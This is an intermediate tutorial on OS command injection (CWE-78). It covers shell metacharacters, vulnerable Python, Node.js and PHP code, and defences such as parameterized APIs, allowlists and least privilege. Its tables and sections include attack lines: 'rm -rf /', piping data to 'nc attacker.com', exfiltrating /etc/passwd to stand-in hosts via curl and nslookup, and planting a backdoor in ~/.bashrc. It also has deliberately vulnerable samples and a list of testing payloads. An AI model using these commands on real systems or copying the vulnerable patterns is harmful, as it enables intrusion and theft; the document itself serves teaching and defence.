- 7 min read

Shell Metacharacters: How Command Injection Works

Intermediate Tutorial

TL;DR

Command injection ranks third in the OWASP Top 10 with 94% of applications tested showing some form of injection vulnerability. Attackers exploit shell metacharacters like ;, &, |, and ` to break out of intended commands and execute arbitrary code. The fix: avoid shell commands entirely when possible, use parameterized APIs, and apply strict allowlist validation on any user input that must reach a shell.


What is Command Injection?

Command injection occurs when an application constructs operating system commands using externally influenced input without properly neutralizing special characters. The result: attackers can execute arbitrary commands on the host system.

According to OWASP, injection vulnerabilities affect 94% of tested applications with a maximum incidence rate of 19%. The weakness is catalogued as CWE-78 (OS Command Injection) and remains one of the most dangerous vulnerability classes in web applications.

Why It鈥檚 So Dangerous

When a command injection vulnerability exists in a privileged process, the damage multiplies. Attacker-controlled commands run with whatever permissions the application has. If your web server runs as root (please don鈥檛), that鈥檚 root access for the attacker.

The consequences span the entire security triad:

Worse, malicious activities appear to originate from the application itself, making attribution difficult. The same shell metacharacters that enable command injection also power attacks like malicious curl | bash scripts 路 the attack surface is everywhere.

Two Attack Patterns

CWE-78 identifies two primary subtypes:

Type 1: Argument Injection The application intends to execute a single, fixed program but uses external input as arguments. Example: an application that runs nslookup with a user-provided hostname. Attackers can鈥檛 prevent nslookup from running, but they can inject separators into arguments to chain additional commands.

Type 2: Direct Command Execution The application accepts input to select which program to run. If the command string is under attacker control, they execute anything.


The Metacharacter Reference

Shell metacharacters are the attack surface. These characters have special meaning to the shell interpreter and can break out of the intended context when not properly handled.

Command Separators

Character Name Purpose Attack Example
; Semicolon Executes commands sequentially filename; rm -rf /
& Ampersand Background execution / separator input & malicious_cmd
| Pipe Passes output to next command echo data | nc attacker.com 4444

Conditional Execution

Character Name Purpose Attack Example
|| OR Executes if previous fails false || malicious_cmd
&& AND Executes if previous succeeds true && malicious_cmd

Command Substitution

Character Name Purpose Attack Example
` Backticks Inline command substitution echo `whoami`
$() Subshell Modern command substitution echo $(cat /etc/passwd)

Redirection

Character Name Purpose Attack Example
> Redirect out Writes output to file cmd > /var/www/shell.php
< Redirect in Reads input from file cmd < /etc/shadow
>> Append Appends output to file echo "backdoor" >> ~/.bashrc

Other Dangerous Characters

According to the WWW Security FAQ and David Wheeler鈥檚 Secure Programs HOWTO, these additional characters require attention:

Blind Detection Techniques

When output isn鈥檛 visible, attackers use time-based and out-of-band techniques:

Time-based:

; sleep 10
& ping -c 10 127.0.0.1

Out-of-band exfiltration:

; nslookup `whoami`.attacker-c2.com
$(curl https://attacker.com/?data=$(cat /etc/passwd | base64))

Vulnerable Code Patterns

Understanding what vulnerable code looks like helps you spot it in code review.

Python: The shell=True Trap

# VULNERABLE: shell=True with user input
import subprocess

def search_files(filename):
    # User controls the filename parameter
    cmd = f"find /var/data -name {filename}"
    subprocess.run(cmd, shell=True)  # Dangerous!

# Attacker input: ".txt; cat /etc/passwd"
# Executes: find /var/data -name .txt; cat /etc/passwd

The shell=True parameter tells Python to invoke the system shell, enabling all metacharacter interpretation.

Node.js: Spawning Shell Processes

// VULNERABLE: spawning shell with template strings
const { spawn } = require('child_process');

function convertImage(filename) {
    // User controls the filename parameter
    // Using shell: true enables metacharacter interpretation
    spawn('convert', [filename, 'output.png'], { shell: true });
}

// Attacker input: "image.jpg; rm -rf /"

When shell: true is passed, Node.js spawns a shell process where metacharacters work.

PHP: The System Function Family

// VULNERABLE: system() with concatenated input
<?php
$host = $_GET['host'];
system("ping -c 4 " . $host);  // Dangerous!

// Attacker input: "google.com; cat /etc/passwd"
// Executes: ping -c 4 google.com; cat /etc/passwd
?>

PHP鈥檚 system(), passthru(), and backtick operator all invoke the shell.


Prevention Techniques

The OWASP Command Injection Defense Cheat Sheet outlines three primary defenses, in order of preference.

Option 1: Avoid Shell Commands Entirely

The best defense is not needing one. Use built-in library functions instead of spawning external processes.

Instead of Use
system("mkdir /path") os.mkdir() / fs.mkdir()
shell command for copy shutil.copy() / fs.copyFile()
shell command to read file_get_contents()
shell command for zip zipfile module / archiver library

Library functions cannot be manipulated to perform tasks beyond their intended scope.

Option 2: Parameterized Commands

If you must call external programs, never construct command strings. Pass arguments as arrays.

Python (Secure):

import subprocess

def search_files(filename):
    # Arguments passed as list - no shell interpretation
    subprocess.run(
        ["find", "/var/data", "-name", filename],
        shell=False  # Default, but explicit is better
    )

Node.js (Secure):

const { execFile } = require('child_process');

function convertImage(filename) {
    // execFile doesn't spawn a shell
    execFile('convert', [filename, 'output.png'], (err, stdout) => {
        // Process result
    });
}

PHP (Secure):

<?php
$host = escapeshellarg($_GET['host']);
system("ping -c 4 " . $host);

// Better: use an array-based approach if available
// Or validate against strict allowlist
?>

Option 3: Input Validation

When shell interaction is unavoidable, apply strict validation in two layers:

Layer 1: Command Allowlist Only permit explicitly defined commands. Never let users specify arbitrary executables.

Layer 2: Argument Validation Apply the most restrictive validation possible:

^[a-z0-9]{3,10}$    # Only lowercase alphanumeric, 3-10 chars
^[0-9]{1,5}$        # Only digits, up to 5
^[a-zA-Z0-9._-]+$   # Alphanumeric plus limited safe characters

Characters to explicitly deny:

; & ` ' " | || && > < $ ( ) { } [ ] ! # - \n \r

The Principle of Least Privilege

Even with defenses in place, assume they might fail. Run applications with minimum required permissions:

If command injection occurs, damage stays contained.


Detection and Testing

Code Review Checklist

When reviewing code, flag these patterns:

Automated Testing

Include injection testing in your CI/CD pipeline:

Manual Testing Payloads

For authorized security testing, these payloads help identify vulnerabilities:

; id
| id
`id`
$(id)
& id
|| id
&& id
; sleep 10
| sleep 10

Test each input field, URL parameter, header, and cookie value.


Key Takeaways

Command injection remains prevalent because it鈥檚 easy to introduce and devastating when exploited. The fix follows a clear hierarchy:

  1. Don鈥檛 use shell commands 路 Library functions are safer
  2. Use parameterized APIs 路 Pass arguments as arrays, not strings
  3. Validate strictly 路 Allowlist characters, deny metacharacters
  4. Limit privileges 路 Assume defenses will fail

Every user input that reaches a shell is a potential attack vector. Treat them accordingly.


Sources